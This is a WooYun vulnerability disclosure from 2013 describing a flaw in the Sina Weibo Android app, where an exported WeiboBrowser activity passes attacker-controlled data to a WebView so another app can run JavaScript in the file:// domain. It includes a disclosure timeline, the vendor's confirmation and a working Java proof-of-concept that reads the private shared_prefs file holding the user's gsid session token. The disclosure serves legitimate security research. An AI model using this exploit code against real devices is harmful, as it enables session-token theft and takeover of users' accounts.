当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040966

漏洞标题:新浪微博APP任意数据窃取漏洞(Android版)

相关厂商:新浪

漏洞作者: x3xtxt

提交时间:2013-10-25 11:29

修复时间:2014-01-23 11:30

公开时间:2014-01-23 11:30

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-25: 细节已通知厂商并且等待厂商处理中
2013-10-26: 厂商已经确认,细节仅向厂商公开
2013-10-29: 细节向第三方安全合作伙伴开放
2013-12-20: 细节向核心白帽子及相关领域专家公开
2013-12-30: 细节向普通白帽子公开
2014-01-09: 细节向实习白帽子公开
2014-01-23: 细节向公众公开

简要描述:

新浪微博客户端APP(Android版)实现存在问题,攻击者构造特定的Intent Object,启动APP中的com.sina.weibo.WeiboBrowser Activity组件,执行任意的javascript脚本,获取本地敏感信息。

详细说明:

新浪微博客户端APP中WeiboBrowser Activity组件的实现,调用了WebView Class的 loadDataWithBaseURL (String baseUrl, String data, String mimeType, String encoding, String historyUrl)方法,并且,方法中的baseUrl参数和data参数是用户可控的,通过构造攻击参数,可以在本地文件域和任意的http域下执行任意的javascript脚本,造成任意敏感信息的读取,当然,从实际的攻击角度来讲,我们关心的是在本地文件域(file://)下执行javascript,获取/data/data/com.sina.weibo/目录下的任意文件内容,只要获得用户的gsid,就可以完全控制微博账号,可以看到/data/data/com.sina.weibo目录下的文件就存放了此信息(databases/sina_weibo,shared_prefs/sina_push_pref.xml文件中都存有此信息,随便读取一个就行)。

漏洞证明:

public void SinaWeiboTesting(){
try{
String pkgName = "com.sina.weibo";
String activityName = "com.sina.weibo.WeiboBrowser";
String url = "file:///data/data/"+pkgName+"/shared_prefs/";
String targetfile = url + "sina_push_pref.xml";

Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setComponent(new ComponentName(pkgName, activityName));
intent.putExtra("location_flag", 0);
intent.putExtra("com_sina_weibo_weibobrowser_type", 1);
String htmlData = "<html><body><h2>Android APP Sectesting</h2>";
htmlData += "<script type=\"text/javascript\">";
htmlData += "url=\""+targetfile+"\";var xmlhttp;if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest}else{xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\")}xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){alert(xmlhttp.responseText)}};xmlhttp.open(\"GET\",url,true);xmlhttp.send();";
htmlData += "</script></body></html>";
intent.putExtra("com_sina_weibo_weibobrowser_data", htmlData);
intent.putExtra("com_sina_weibo_weibobrowser_url", url);
startActivity(intent);
}catch(Exception e){
debugInfo(e.getMessage());
}
}

修复方案:

依据漏洞成因,请RD自行选择修复策略。

版权声明:转载请注明来源 x3xtxt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-10-26 20:32

厂商回复:

感谢关注新浪安全,我们会马上进行修复

最新状态:

暂无